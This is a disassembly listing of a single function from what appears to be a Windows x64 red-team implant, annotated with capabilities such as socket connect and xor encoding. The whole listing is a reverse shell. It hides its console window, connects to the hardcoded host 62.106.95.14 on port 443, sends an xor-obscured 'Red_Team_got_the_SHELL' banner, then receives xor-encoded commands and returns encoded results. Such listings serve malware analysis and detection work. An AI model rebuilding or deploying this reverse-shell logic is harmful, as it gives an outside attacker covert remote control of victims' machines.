Function at 0x140001320
Capabilities:
Connect socket
Convert ip address from string
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x650
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x640], rax
xor esi, esi
mov r13d, esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x202
lea rdx, [rsp + 0xa0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400013b9
lea eax, [rsi + 1]
mov rcx, qword [rsp + 0x640]
xor rcx, rsp
call fcn.140001b30
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea r14, [0x140003420]
mov ebx, 2
nop word [rax + rax]
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400013f1
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x1400013d0
mov word [rsp + 0x88], bx
mov ecx, 0x1bb
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x8a], ax
lea r8, [rsp + 0x8c]
lea rdx, str.62.106.95.14
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, r15
test eax, eax
jg 0x140001439
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x1400013d0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x88]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001467
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x1400013d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
mov r8d, 0x18
lea rdx, str.Red_Team_got_the_SHELL:
lea rcx, [rsp + 0x48]
call fcn.140001890
nop
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140001b94
mov rdi, rax
mov rdx, rsi
mov r12, qword [rsp + 0x48]
test rbx, rbx
je 0x1400014e5
cmp qword [rsp + 0x60], 0x10
setae r8b
nop dword [rax + rax]
lea rcx, [rsp + 0x48]
test r8b, r8b
cmovne rcx, r12
mov rax, rdx
and eax, 7
movzx eax, byte [rax + r14]
xor al, byte [rcx + rdx]
mov byte [rdx + rdi], al
inc rdx
cmp rdx, rbx
jb 0x1400014c0
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov rcx, rdi
call fcn.140001b50
cmp ebx, 0xffffffff
jne 0x140001560
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rax, qword [rsp + 0x60]
cmp rax, 0x10
jb 0x14000154e
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140001545
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000176b
mov rcx, r12
call fcn.140001b50
nop
mov ebx, 2
jmp 0x1400013d0
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x240]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rsp + 0x240]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001724
movsxd rdi, eax
mov rcx, rdi
call fcn.140001b94
mov rbx, rax
mov rax, rsi
test rdi, rdi
je 0x1400015dd
lea r8, [rsp + 0x240]
sub r8, rbx
nop dword [rax + rax]
lea rdx, [rax + rbx]
mov rcx, rax
and ecx, 7
movzx ecx, byte [rcx + r14]
xor cl, byte [rdx + r8]
mov byte [rdx], cl
inc rax
cmp rax, rdi
jb 0x1400015c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rsi
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140001890
or r13d, 1
mov dword [rsp + 0x20], r13d
mov rcx, rbx
call fcn.140001b50
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x28]
call fcn.1400011c0
nop
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
call fcn.140001b94
mov rdi, rax
mov r8, rsi
test rbx, rbx
je 0x14000166c
nop dword [rax]
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rdx, qword [rsp + 0x28]
mov rax, r8
and eax, 7
movzx eax, byte [rax + r14]
xor al, byte [r8 + rdx]
mov byte [rdi + r8], al
inc r8
cmp r8, rbx
jb 0x140001640
xor r9d, r9d
mov r8d, dword [rsp + 0x38]
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov rcx, rdi
call fcn.140001b50
nop
mov rdx, qword [rsp + 0x40]
cmp ebx, 0xffffffff
jne 0x140001772
cmp rdx, 0x10
jb 0x1400016d1
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017a1
call fcn.140001b50
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], socket
mov byte [rsp + 0x28], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140001724
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000171f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017fb
call fcn.140001b50
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rax, qword [rsp + 0x60]
cmp rax, 0x10
jb 0x140001815
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000180c
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000180c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rdx, 0x10
jb 0x1400017ad
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001b50
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], socket
mov byte [rsp + 0x28], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140001560
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001802
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001b50
jmp 0x140001560
mov rcx, r12
call fcn.140001b50
nop
jmp 0x1400013c0